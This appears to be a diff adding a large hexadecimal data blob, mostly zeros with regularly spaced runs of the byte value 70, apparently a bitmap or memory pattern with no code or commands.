+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 